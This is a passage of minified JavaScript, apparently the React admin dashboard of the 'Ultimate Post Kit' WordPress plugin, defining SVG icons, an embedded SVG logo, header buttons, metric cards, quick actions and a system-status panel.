9"}),(0,e.createElement)("line",{x1:"10",y1:"14",x2:"21",y2:"3"}))}),He=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M12 14a2 2 0 1 0 .01-.01"}),(0,e.createElement)("path",{d:"M3.34 19a10 10 0 1 1 17.32 0"}),(0,e.createElement)("line",{x1:"12",y1:"12",x2:"16",y2:"8"}))}),Je=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10Z"}),(0,e.createElement)("polyline",{points:"9 12 11 14 15 10"}))}),Qe=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("rect",{x:"3",y:"11",width:"18",height:"11",rx:"2"}),(0,e.createElement)("path",{d:"M7 11V7a5 5 0 0 1 10 0v4"}))}),Ze=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"}),(0,e.createElement)("polyline",{points:"7 10 12 15 17 10"}),(0,e.createElement)("line",{x1:"12",y1:"15",x2:"12",y2:"3"}))}),Ve=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("polyline",{points:"16 18 22 12 16 6"}),(0,e.createElement)("polyline",{points:"8 6 2 12 8 18"}))}),Ke=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("circle",{cx:"12",cy:"12",r:"9"}),(0,e.createElement)("polyline",{points:"12 7 12 12 15 14"}))}),Xe=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M10.3 3.9 1.8 18a2 2 0 0 0 1.7 3h17a2 2 0 0 0 1.7-3L13.7 3.9a2 2 0 0 0-3.4 0Z"}),(0,e.createElement)("line",{x1:"12",y1:"9",x2:"12",y2:"13"}),(0,e.createElement)("line",{x1:"12",y1:"17",x2:"12.01",y2:"17"}))}),qe=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M21 12a9 9 0 1 1-2.64-6.36"}),(0,e.createElement)("polyline",{points:"21 3 21 9 15 9"}))}),et=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("circle",{cx:"5",cy:"12",r:"1.6",fill:"currentColor",stroke:"none"}),(0,e.createElement)("circle",{cx:"12",cy:"12",r:"1.6",fill:"currentColor",stroke:"none"}),(0,e.createElement)("circle",{cx:"19",cy:"12",r:"1.6",fill:"currentColor",stroke:"none"}))}),tt=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("rect",{x:"3",y:"3",width:"18",height:"18",rx:"2"}),(0,e.createElement)("line",{x1:"3",y1:"9",x2:"21",y2:"9"}),(0,e.createElement)("line",{x1:"9",y1:"21",x2:"9",y2:"9"}))}),at=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"m15 4 1 2 2 1-2 1-1 2-1-2-2-1 2-1 1-2Z"}),(0,e.createElement)("path",{d:"M9 11 3 17a1.4 1.4 0 0 0 2 2l6-6"}),(0,e.createElement)("path",{d:"m12.5 8.5 3 3"}))}),nt=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("line",{x1:"12",y1:"5",x2:"12",y2:"19"}),(0,e.createElement)("line",{x1:"5",y1:"12",x2:"19",y2:"12"}))}),rt=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("rect",{x:"2",y:"2",width:"20",height:"8",rx:"2"}),(0,e.createElement)("rect",{x:"2",y:"14",width:"20",height:"8",rx:"2"}),(0,e.createElement)("line",{x1:"6",y1:"6",x2:"6.01",y2:"6"}),(0,e.createElement)("line",{x1:"6",y1:"18",x2:"6.01",y2:"18"}))}),lt=t=>Le({...t,children:(0,e.createElement)("path",{d:"m12 3-1.9 5.8a2 2 0 0 1-1.3 1.3L3 12l5.8 1.9a2 2 0 0 1 1.3 1.3L12 21l1.9-5.8a2 2 0 0 1 1.3-1.3L21 12l-5.8-1.9a2 2 0 0 1-1.3-1.3Z"})}),it=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M3 14a9 9 0 0 1 18 0"}),(0,e.createElement)("path",{d:"M21 14v3a2 2 0 0 1-2 2h-1a1 1 0 0 1-1-1v-3a1 1 0 0 1 1-1h3Z"}),(0,e.createElement)("path",{d:"M3 14v3a2 2 0 0 0 2 2h1a1 1 0 0 0 1-1v-3a1 1 0 0 0-1-1H3Z"}))}),ot=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M4.5 16.5c-1.5 1.26-2 5-2 5s3.74-.5 5-2c.71-.84.7-2.13-.09-2.91a2.18 2.18 0 0 0-2.91-.09Z"}),(0,e.createElement)("path",{d:"m12 15-3-3a22 22 0 0 1 2-3.95A12.88 12.88 0 0 1 22 2c0 2.72-.78 7.5-6 11a22.35 22.35 0 0 1-4 2Z"}))}),st=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M9 2v6"}),(0,e.createElement)("path",{d:"M15 2v6"}),(0,e.createElement)("path",{d:"M6 8h12v3a6 6 0 0 1-12 0V8Z"}),(0,e.createElement)("path",{d:"M12 17v5"}))}),ct=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"}),(0,e.createElement)("path",{d:"M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"}))}),dt=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("line",{x1:"5",y1:"12",x2:"19",y2:"12"}),(0,e.createElement)("polyline",{points:"12 5 19 12 12 19"}))}),mt=({name:t,size:a=22,className:n=""})=>(0,e.createElement)("i",{className:`upk-widget-glyph upk-icon-${t} ${n}`,style:{fontSize:a},"aria-hidden":"true"}),ut=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("circle",{cx:"12",cy:"12",r:"9"}),(0,e.createElement)("path",{d:"M10 8.5v7l6-3.5z"}))});function pt(){return ye.whiteLabel?null:ye.isPro?(0,e.createElement)("div",{className:"hidden lg:flex items-center gap-[7px] bg-[#ecfdf3] border border-[#c6f0d4] text-[#15803d] dark:bg-[#0f2318] dark:border-[#1d4030] dark:text-[#4ade80] py-[9px] px-[15px] rounded-full text-[13px] font-bold"},(0,e.createElement)("span",{className:"w-2 h-2 rounded-full bg-[#22c55e] shadow-[0_0_0_3px_rgba(34,197,94,.2)]"}),(0,_e.__)("Pro active","ultimate-post-kit")):(0,e.createElement)("div",{className:"hidden lg:flex items-center gap-[7px] bg-[#f4f5f7] border border-[#e6e6ea] text-[#52525b] dark:bg-ink-subtle dark:border-[#2a313c] dark:text-[#cdd0d6] py-[9px] px-[15px] rounded-full text-[13px] font-bold"},(0,e.createElement)("span",{className:"w-2 h-2 rounded-full bg-[#a1a1aa]"}),(0,_e.__)("Free version","ultimate-post-kit"))}function xt(){const{theme:t,toggle:a}=Se(),n="dark"===t;return(0,e.createElement)("div",{className:"min-h-[80px] py-[18px] px-[26px] flex items-center justify-between gap-5 flex-wrap max-[900px]:py-[13px] max-[900px]:px-[15px] max-[900px]:gap-3"},(0,e.createElement)("div",{className:"flex items-center gap-4"},ye.whiteLabel?(0,e.createElement)("span",{className:"text-[19px] font-extrabold tracking-[-.02em] text-[#0f1115] dark:text-ink-text"},ye.title):(0,e.createElement)("img",{src:n?"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiBpZD0iTGF5ZXJfMSIgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCA1MTIgMTI4IiBzdHlsZT0iZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCA1MTIgMTI4OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4JLnN0MHtmaWxsOnVybCgjU1ZHSURfMV8pO30JLnN0MXtmaWxsOiNGRkZGRkY7fQkuc3Qye2ZpbGw6I0VERUVGMDt9CS5zdDN7ZmlsbDp1cmwoI1NWR0lEXzAwMDAwMTc2NzI4ODQ2ODI3OTM3OTMxMzgwMDAwMDAzNTU2OTQ3MTMxNDE4NzAwNDc0Xyk7fQkuc3Q0e2ZpbGw6dXJsKCNTVkdJRF8wMDAwMDAzNTUzMjgzNjMxODg3MTI3NTU4MDAwMDAxMzY2NzMzNjMyOTM0Mzk0NjE2OV8pO308L3N0eWxlPjxnPgk8bGluZWFyR3JhZGllbnQgaWQ9IlNWR0lEXzFfIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjguODU1IiB5MT0iMzEuMTA5NCIgeDI9Ijc4LjczNzMiIHkyPSIxMDguNDAzNSI+CQk8c3RvcCBvZmZzZXQ9IjAiIHN0eWxlPSJzdG9wLWNvbG9yOiM2MERGNTQiPjwvc3RvcD4JCTxzdG9wIG9mZnNldD0iMSIgc3R5bGU9InN0b3AtY29sb3I6IzA4Qzk3MiI+PC9zdG9wPgk8L2xpbmVhckdyYWRpZW50Pgk8cGF0aCBjbGFzcz0ic3QwIiBkPSJNNzguNywxMTAuNUg4LjFjLTMuMiwwLTUuOC0yLjYtNS44LTUuOFYzNGMwLTMuMiwyLjYtNS44LDUuOC01LjhoNzAuNmMzLjIsMCw1LjgsMi42LDUuOCw1Ljh2NzAuNiAgIEM4NC41LDEwNy45LDgxLjksMTEwLjUsNzguNywxMTAuNXoiPjwvcGF0aD4JPGc+CQk8cGF0aCBjbGFzcz0ic3QxIiBkPSJNMTksODkuMWwwLTMzLjVjMC0wLjksMC43LTEuNiwxLjYtMS42aDYuNmMwLjksMCwxLjYsMC43LDEuNiwxLjZ2MjMuN2MwLDAuOSwwLjcsMS42LDEuNiwxLjZoNi42ICAgIGMwLjksMCwxLjYtMC43LDEuNi0xLjZ2LTIuMXYtOS44di05Ljh2LTguMmMwLTAuOSwwLjctMS42LDEuNi0xLjZoOC4yaDguMmMwLjksMCwxLjYsMC43LDEuNiwxLjZ2OC4yaC04LjIgICAgYy0wLjksMC0xLjYsMC43LTEuNiwxLjZ2Ni42YzAsMC45LDAuNywxLjYsMS42LDEuNmg2LjZjMC45LDAsMS42LTAuNywxLjYtMS42di04LjJoOC4yYzAuOSwwLDEuNiwwLjcsMS42LDEuNnYxNi40ICAgIGMwLDAuOS0wLjcsMS42LTEuNiwxLjZoLTUuOEg1OGgtOC4yYy0wLjksMC0xLjYsMC43LTEuNiwxLjZ2MTAuM2MwLDAuOS0wLjcsMS42LTEuNiwxLjZIMjAuNUMxOS43LDkwLjcsMTksOTAsMTksODkuMXoiPjwvcGF0aD4JCTxnPgkJCTxyZWN0IHg9IjYxLjIiIHk9IjQ1LjciIGNsYXNzPSJzdDEiIHdpZHRoPSIyLjIiIGhlaWdodD0iMi4yIj48L3JlY3Q+CQkJPHJlY3QgeD0iNjUiIHk9IjQ5LjkiIGNsYXNzPSJzdDEiIHdpZHRoPSIxLjUiIGhlaWdodD0iMS41Ij48L3JlY3Q+CQkJPHJlY3QgeD0iNjUuNyIgeT0iNDUuNyIgY2xhc3M9InN0MSIgd2lkdGg9IjEuMSIgaGVpZ2h0PSIxLjEiPjwvcmVjdD4JCQk8cmVjdCB4PSI2OS44IiB5PSI1MC4zIiBjbGFzcz0ic3QxIiB3aWR0aD0iMS4xIiBoZWlnaHQ9IjEuMSI+PC9yZWN0PgkJCTxyZWN0IHg9IjY3LjQiIHk9IjQzLjIiIGNsYXNzPSJzdDEiIHdpZHRoPSIwLjYiIGhlaWdodD0iMC42Ij48L3JlY3Q+CQkJPHJlY3QgeD0iNzAuNCIgeT0iNDIuOCIgY2xhc3M9InN0MSIgd2lkdGg9IjAuNSIgaGVpZ2h0PSIwLjUiPjwvcmVjdD4JCQk8cmVjdCB4PSI2OC45IiB5PSI0NS45IiBjbGFzcz0ic3QxIiB3aWR0aD0iMC42IiBoZWlnaHQ9IjAuNiI+PC9yZWN0PgkJCTxyZWN0IHg9IjYxLjQiIHk9IjUyIiBjbGFzcz0ic3QxIiB3aWR0aD0iMS4yIiBoZWlnaHQ9IjEuMiI+PC9yZWN0PgkJCTxyZWN0IHg9IjY3LjIiIHk9IjUzLjQiIGNsYXNzPSJzdDEiIHdpZHRoPSIwLjkiIGhlaWdodD0iMC45Ij48L3JlY3Q+CQk8L2c+CTwvZz48L2c+PHBhdGggY2xhc3M9InN0MiIgZD0iTTEwMi40LDc3LjhWNTEuMWg5Vjc3YzAsMywxLjQsNS41LDYuMiw1LjVjNC44LDAsNi4yLTIuNSw2LjItNS41VjUxLjFoOXYyNi42YzAsOC40LTYuNSwxMy41LTE1LjIsMTMuNSAgUzEwMi40LDg2LjIsMTAyLjQsNzcuOHoiPjwvcGF0aD48cGF0aCBjbGFzcz0ic3QyIiBkPSJNMTYyLjMsODEuOHY4LjdoLTIzVjUxLjFoOXYzMC43SDE2Mi4zeiI+PC9wYXRoPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xODguNyw1OS44aC0xMC4xdjMwLjdoLTlWNTkuOGgtMTAuMXYtOC43aDI5LjJWNTkuOHoiPjwvcGF0aD48cGF0aCBjbGFzcz0ic3QyIiBkPSJNMjAxLjYsNTEuMXYzOS4zaC05VjUxLjFIMjAxLjZ6Ij48L3BhdGg+PHBhdGggY2xhc3M9InN0MiIgZD0iTTI0Ny42LDkwLjVoLTlWNjcuNmwtMTAuMiwxNi43aC0xbC0xMC4yLTE2Ljd2MjIuOWgtOVY1MS4xaDlMMjI4LDY4LjZsMTAuNy0xNy41aDlWOTAuNXoiPjwvcGF0aD48cGF0aCBjbGFzcz0ic3QyIiBkPSJNMjc3LjQsODQuM2gtMTQuNmwtMiw2LjJIMjUxbDEzLjQtMzkuM2gxMS41bDEzLjQsMzkuM2gtOS44TDI3Ny40LDg0LjN6IE0yNzQuNyw3NS44bC00LjYtMTQuNGwtNC42LDE0LjQgIEgyNzQuN3oiPjwvcGF0aD48cGF0aCBjbGFzcz0ic3QyIiBkPSJNMzE2LjEsNTkuOEgzMDZ2MzAuN2gtOVY1OS44aC0xMC4xdi04LjdoMjkuMlY1OS44eiI+PC9wYXRoPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik00MDEuNSw2NC42YzAsNy41LTYsMTMuNS0xMy44LDEzLjVoLTUuOXYxMi40aC05VjUxLjFoMTQuOUMzOTUuNSw1MS4xLDQwMS41LDU3LjEsNDAxLjUsNjQuNnogTTM5Mi41LDY0LjYgIGMwLTIuOS0yLTUuMS00LjgtNS4xaC01Ljl2MTAuMWg1LjlDMzkwLjUsNjkuNywzOTIuNSw2Ny41LDM5Mi41LDY0LjZ6Ij48L3BhdGg+PHBhdGggY2xhc3M9InN0MiIgZD0iTTQwNCw3MC44YzAtMTEuNiw5LjItMjAuNSwyMC41LTIwLjVzMjAuNSw4LjksMjAuNSwyMC41cy05LjIsMjAuNS0yMC41LDIwLjVTNDA0LDgyLjQsNDA0LDcwLjh6IE00MzUuOSw3MC44ICBjMC03LTUuMS0xMS43LTExLjUtMTEuN2MtNi40LDAtMTEuNSw0LjctMTEuNSwxMS43czUuMSwxMS43LDExLjUsMTEuN0M0MzAuOSw4Mi41LDQzNS45LDc3LjgsNDM1LjksNzAuOHoiPjwvcGF0aD48cGF0aCBjbGFzcz0ic3QyIiBkPSJNNDQ2LjYsODEuNWw3LjgtNC41YzEuNCwzLjMsMy44LDUuNSw4LjMsNS41YzQuMywwLDUuMy0xLjcsNS4zLTMuMmMwLTIuNC0yLjItMy40LTguMi01ICBjLTUuOC0xLjYtMTEuNi00LjQtMTEuNi0xMmMwLTcuNiw2LjQtMTIsMTMuMi0xMmM2LjUsMCwxMS41LDMuMSwxNC40LDguOWwtNy42LDQuNGMtMS40LTIuOC0zLjItNC42LTYuOC00LjZjLTIuOCwwLTQuMiwxLjQtNC4yLDMgIGMwLDEuOCwxLDMsNy4xLDQuOWM2LDEuOCwxMi42LDMuOSwxMi42LDEyLjJjMCw3LjYtNi4xLDEyLjEtMTQuNiwxMi4xQzQ1NC4xLDkxLjMsNDQ4LjgsODcuMyw0NDYuNiw4MS41eiI+PC9wYXRoPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik01MDYuNCw1OS44aC0xMC4xdjMwLjdoLTlWNTkuOGgtMTAuMXYtOC43aDI5LjJWNTkuOHoiPjwvcGF0aD48bGluZWFyR3JhZGllbnQgaWQ9IlNWR0lEXzAwMDAwMDM4MzcxNjU5MzY3OTczMzkzNDUwMDAwMDE4MzU2NDMwNjAzMDczNDk5NTQ3XyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSIzMjAuMjMiIHkxPSI1NS42MzEyIiB4Mj0iMzUwLjEyNTkiIHkyPSI1NS42MzEyIj4JPHN0b3Agb2Zmc2V0PSIwIiBzdHlsZT0ic3RvcC1jb2xvcjojNjBERjU0Ij48L3N0b3A+CTxzdG9wIG9mZnNldD0iMSIgc3R5bGU9InN0b3AtY29sb3I6IzA4Qzk3MiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHJlY3QgeD0iMzIwLjIiIHk9IjUxLjIiIHN0eWxlPSJmaWxsOnVybCgjU1ZHSURfMDAwMDAwMzgzNzE2NTkzNjc5NzMzOTM0NTAwMDAwMTgzNTY0MzA2MDMwNzM0OTk1NDdfKTsiIHdpZHRoPSIyOS45IiBoZWlnaHQ9IjguOCI+PC9yZWN0PjxyZWN0IHg9IjMyMC4yIiB5PSI2Ni40IiBjbGFzcz0ic3QyIiB3aWR0aD0iMjkuOSIgaGVpZ2h0PSI4LjgiPjwvcmVjdD48cmVjdCB4PSIzMjAuMiIgeT0iODEuNiIgY2xhc3M9InN0MiIgd2lkdGg9IjI5LjkiIGhlaWdodD0iOC44Ij48L3JlY3Q+PHJlY3QgeD0iMzEyLjYiIHk9Ijc0IiB0cmFuc2Zvcm09Im1hdHJpeCg2LjEyMzIzNGUtMTcgLTEgMSA2LjEyMzIzNGUtMTcgMjQ2LjI1NzMgNDAzLjAwMDYpIiBjbGFzcz0ic3QyIiB3aWR0aD0iMjQiIGhlaWdodD0iOC44Ij48L3JlY3Q+PGc+CQkJPGxpbmVhckdyYWRpZW50IGlkPSJTVkdJRF8wMDAwMDE4MjUxOTY4NTc3NjUyNjQ0NTcxMDAwMDAwMzgyMjI3MTEzMTg3NjQ2NDMxNV8iIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iNDYwLjk4ODUiIHkxPSIzMC44NDk5IiB4Mj0iNTA2LjQyMTYiIHkyPSIzMC44NDk5Ij4JCTxzdG9wIG9mZnNldD0iMCIgc3R5bGU9InN0b3AtY29sb3I6IzYwREY1NCI+PC9zdG9wPgkJPHN0b3Agb2Zmc2V0PSIxIiBzdHlsZT0ic3RvcC1jb2xvcjojMDhDOTcyIj48L3N0b3A+CTwvbGluZWFyR3JhZGllbnQ+CTxwYXRoIHN0eWxlPSJmaWxsOnVybCgjU1ZHSURfMDAwMDAxODI1MTk2ODU3NzY1MjY0NDU3MTAwMDAwMDM4MjIyNzExMzE4NzY0NjQzMTVfKTsiIGQ9Ik01MDQuMSw0NC41aC00MC44Yy0xLjMsMC0yLjMtMS0yLjMtMi4zICAgVjE5LjVjMC0xLjMsMS0yLjMsMi4zLTIuM2g0MC44YzEuMywwLDIuMywxLDIuMywyLjN2MjIuN0M1MDYuNCw0My41LDUwNS40LDQ0LjUsNTA0LjEsNDQuNXoiPjwvcGF0aD4JPGc+CQk8cGF0aCBjbGFzcz0ic3QxIiBkPSJNNDc5LjcsMzguOGgtNC4xbC01LjEtNy4zdjcuM2gtMy42VjIyLjloMy42djYuOWw0LjktNi45aDQuMWwtNS40LDcuN0w0NzkuNywzOC44eiI+PC9wYXRoPgkJPHBhdGggY2xhc3M9InN0MSIgZD0iTTQ4Mi40LDIyLjloMy42djE1LjloLTMuNlYyMi45eiI+PC9wYXRoPgkJPHBhdGggY2xhc3M9InN0MSIgZD0iTTUwMC44LDIyLjl2My41aC00LjF2MTIuNGgtMy42VjI2LjRINDg5di0zLjVINTAwLjh6Ij48L3BhdGg+CTwvZz48L2c+PC9zdmc+":ye.logoUrl,alt:ye.title||"Ultimate Post Kit",className:"h-8 w-auto block"}),ye.isPro?(0,e.createElement)("span",{className:"text-[11px] font-extrabold tracking-[.06em] text-white bg-gradient-brand py-[5px] px-[11px] rounded-full shadow-[0_3px_10px_rgba(8,201,114,.3)]"},(0,_e.__)("PRO","ultimate-post-kit")):null,(0,e.createElement)("span",{className:"text-[12.5px] text-[#6c6c75] dark:text-ink-muted font-bold"},"v",ye.version)),(0,e.createElement)("div",{className:"flex items-center gap-[10px]"},(0,e.createElement)(pt,null),(0,e.createElement)("button",{type:"button",onClick:a,className:"w-[42px] h-[42px] rounded-full bg-white border border-[#e6e6ea] text-[#52525b] dark:bg-ink-card dark:border-[#2a313c] dark:text-[#cdd0d6] cursor-pointer grid place-items-center transition-colors hover:border-brand hover:text-brand","aria-label":(0,_e.__)("Toggle theme","ultimate-post-kit")},n?(0,e.createElement)(Re,{size:18}):(0,e.createElement)(Oe,{size:18})),ye.whiteLabel?null:(0,e.createElement)("a",{href:ye.docsUrl,target:"_blank",rel:"noreferrer",className:"hidden lg:flex items-center gap-[6px] bg-white border-[1.5px] border-[#e2e2e6] text-[#27272a] dark:bg-ink-card dark:border-[#2a313c] dark:text-[#cdd0d6] py-[10px] px-[17px] rounded-full text-[13.5px] font-bold cursor-pointer transition-colors hover:border-brand hover:text-brand"},(0,e.createElement)($e,{size:14}),(0,_e.__)("Docs","ultimate-post-kit")),ye.isPro||ye.whiteLabel?(0,e.createElement)("a",{href:ye.newPageUrl,className:"flex items-center gap-[7px] bg-gradient-brand text-white py-[11px] px-[22px] rounded-full text-[13.5px] font-extrabold cursor-pointer shadow-glow transition-all duration-200 hover:-translate-y-px hover:shadow-glow-lg max-[640px]:px-[15px]"},(0,e.createElement)(nt,{size:14}),(0,_e.__)("Create page","ultimate-post-kit")):(0,e.createElement)("a",{href:ye.getProUrl,target:"_blank",rel:"noreferrer",className:"flex items-center gap-[7px] bg-gradient-brand text-white py-[11px] px-[22px] rounded-full text-[13.5px] font-extrabold cursor-pointer shadow-glow transition-all duration-200 hover:-translate-y-px hover:shadow-glow-lg max-[640px]:px-[15px]"},(0,e.createElement)(Fe,{size:14}),(0,_e.__)("Upgrade","ultimate-post-kit"))))}const bt={violet:"bg-[#f3f0ff] text-[#8b5cf6] dark:bg-[#241d3a]",blue:"bg-[#eafaf1] text-[#00a85c] dark:bg-[#0f2a1c]",teal:"bg-[#e6fffb] text-[#14b8a6] dark:bg-[#0e2b28]",rose:"bg-[#fff1f3] text-[#f43f5e] dark:bg-[#2b141a]",amber:"bg-[#fff7ed] text-[#f59e0b] dark:bg-[#2a1c0e]",woo:"bg-[#f5f0fb] text-[#7f54b3] dark:text-[#c4a5ec] dark:bg-[#241d3a]",green:"bg-[#ecfdf3] text-[#1a7d3d] dark:text-[#4ade80] dark:bg-[#0f2318]",indigo:"bg-[#eef1ff] text-[#6366f1] dark:bg-[#1b1e3a]",sky:"bg-[#eef6ff] text-[#0ea5e9] dark:bg-[#0e2334]"},ft=Object.keys(bt);function gt(e){return bt[e]||bt.blue}function kt(e){let t=0;const a=String(e||"");for(let e=0;e<a.length;e++)t=(31*t+a.charCodeAt(e))%997;return bt[ft[t%ft.length]]}const ht={sm:"w-[30px] h-[30px] rounded-[9px]",md:"w-[34px] h-[34px] rounded-[10px]",lg:"w-9 h-9 rounded-[10px]",xl:"w-[38px] h-[38px] rounded-tile","2xl":"w-10 h-10 rounded-[12px]"},_t={sm:16,md:17,lg:18,xl:20,"2xl":20};function Et({icon:t,accent:a="blue",size:n="2xl",iconSize:r,className:l=""}){return(0,e.createElement)("span",{className:`${ht[n]||ht["2xl"]} flex-none grid place-items-center ${gt(a)} ${l}`},(0,e.createElement)(t,{size:r||_t[n]||20}))}const vt={green:"text-[#15803d] bg-[#ecfdf3] dark:bg-[#0f2318] dark:text-[#4ade80]",blue:"text-[#00a85c] bg-[#eafaf1] dark:bg-[#0f2a1c]",amber:"text-[#b45309] bg-[#fff7ed] dark:bg-[#2a1c0e] dark:text-[#fdba74]",neutral:"text-[#6d6d74] dark:text-ink-muted bg-[#f4f4f5] dark:bg-ink-subtle"};function wt({icon:t,accent:a,value:n,label:r,pill:l,pillTone:i="neutral"}){return(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-[18px] shadow-resting transition-all duration-200 hover:-translate-y-[3px] hover:shadow-[0_12px_26px_-14px_rgba(0,0,0,.22)]"},(0,e.createElement)("div",{className:"flex items-center justify-between"},(0,e.createElement)(Et,{icon:t,accent:a,size:"2xl",iconSize:20}),l?(0,e.createElement)("span",{className:`text-[11.5px] font-bold py-[3px] px-2 rounded-full ${vt[i]||vt.neutral}`},l):null),(0,e.createElement)("div",{className:"text-[34px] font-black tracking-[-.03em] mt-[14px] text-[#0f1115] dark:text-ink-text"},n),(0,e.createElement)("div",{className:"text-[12.5px] text-[#6c6c75] dark:text-ink-muted mt-[8px] font-medium"},r))}function yt({percent:t=0,fill:a="linear-gradient(90deg,#60df54,#08c972)",height:n=7,className:r=""}){const l=Math.max(0,Math.min(100,Number(t)||0));return(0,e.createElement)("div",{className:`rounded-full bg-[#eef0f3] dark:bg-ink-subtle overflow-hidden ${r}`,style:{height:`${n}px`}},(0,e.createElement)("div",{className:"h-full rounded-full transition-[width] duration-500 ease-upk",style:{width:`${l}%`,background:a}}))}function Nt({metrics:t}){const a=3===t.length?"grid-cols-3":"grid-cols-4";return(0,e.createElement)("div",{className:`grid ${a} max-[1024px]:grid-cols-2 max-[640px]:grid-cols-1 gap-[14px] mt-[14px]`},t.map(t=>(0,e.createElement)("div",{key:t.label,className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-panel py-4 px-[18px] shadow-resting"},(0,e.createElement)("div",{className:"flex items-center gap-[10px]"},(0,e.createElement)(Et,{icon:t.icon,accent:t.accent,size:"md"}),(0,e.createElement)("div",{className:"min-w-0"},(0,e.createElement)("div",{className:"text-[22px] font-black tracking-[-.02em] text-[#0f1115] dark:text-ink-text leading-none"},t.value),(0,e.createElement)("div",{className:"text-xs font-semibold text-[#52525b] dark:text-ink-muted mt-[3px]"},t.label))),(0,e.createElement)(yt,{percent:t.percent,fill:t.barColor,height:6,className:"mt-[13px]"}),(0,e.createElement)("div",{className:"text-[11px] text-[#6d6d74] dark:text-ink-muted mt-[7px]"},t.sub))))}function Mt({actions:t}){const a=J();return t.length?(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5 shadow-resting"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text mb-[14px]"},(0,_e.__)("Quick actions","ultimate-post-kit")),(0,e.createElement)("div",{className:"grid grid-cols-3 max-[640px]:grid-cols-1 gap-3"},t.map(t=>(0,e.createElement)("button",{key:t.to,type:"button",onClick:()=>a(t.to),className:"text-left border border-[#ededf1] dark:border-ink-border rounded-[14px] p-[15px] cursor-pointer transition-all duration-200 bg-white dark:bg-ink-card hover:border-brand hover:bg-[#f3fcf6] dark:hover:bg-[#0f2a1c] hover:-translate-y-[2px]"},(0,e.createElement)(Et,{icon:t.icon,accent:t.accent,size:"lg"}),(0,e.createElement)("div",{className:"text-[13.5px] font-semibold text-[#27272a] dark:text-ink-text mt-[11px]"},t.label),(0,e.createElement)("div",{className:"text-[11.5px] text-[#6d6d74] dark:text-ink-muted mt-[2px]"},t.sub))))):null}const Ct={good:"text-[#1a7d3d] dark:text-[#4ade80]",warn:"text-[#f59e0b]",bad:"text-[#f43f5e]"},St={good:"bg-[#22a550]",warn:"bg-[#f59e0b]",bad:"bg-[#f43f5e]"};function Lt({label:t,value:a,tone:n="good"}){return(0,e.createElement)("div",{className:"flex items-center justify-between py-2 border-t border-[#f1f1f4] dark:border-ink-border"},(0,e.createElement)("span",{className:"text-[13px] text-[#52525b] dark:text-ink-muted"},t),(0,e.createElement)("span",{className:`text-[12px] font-bold flex items-center gap-[6px] ${Ct[n]||Ct.good}`},(0,e.createElement)("span",{className:`w-[7px] h-[7px] rounded-full ${St[n]||St.good}`}),a))}function jt(){const t=Array.isArray(ye.system)?ye.system.slice(0,4):[];return t.length?(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5"},(0,e.createElement)("div",{className:"flex items-center justify-between mb-[14px]"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text"},(0,_e.__)("System status","ultimate-post-kit")),(0,e.createElement)(ge,{to:"/system-status",className:"text-[12px] font-bold text-brand"},(0,_e.__)("View full report","ultimate-post-kit"))),t.map(t=>(0,e.createElement)(Lt,{key:t.id,label:t.label,value:`${(0,_e.__)("Currently:","ultimate-post-kit")} ${t.value}`,tone:t.pass?"good":"bad"}))):null}function It(){if(ye.whiteLabel)return null;const t=[{title:(0,_e.__)("Documentation","ultimate-post-kit"),sub:(0,_e.__)("Guides & 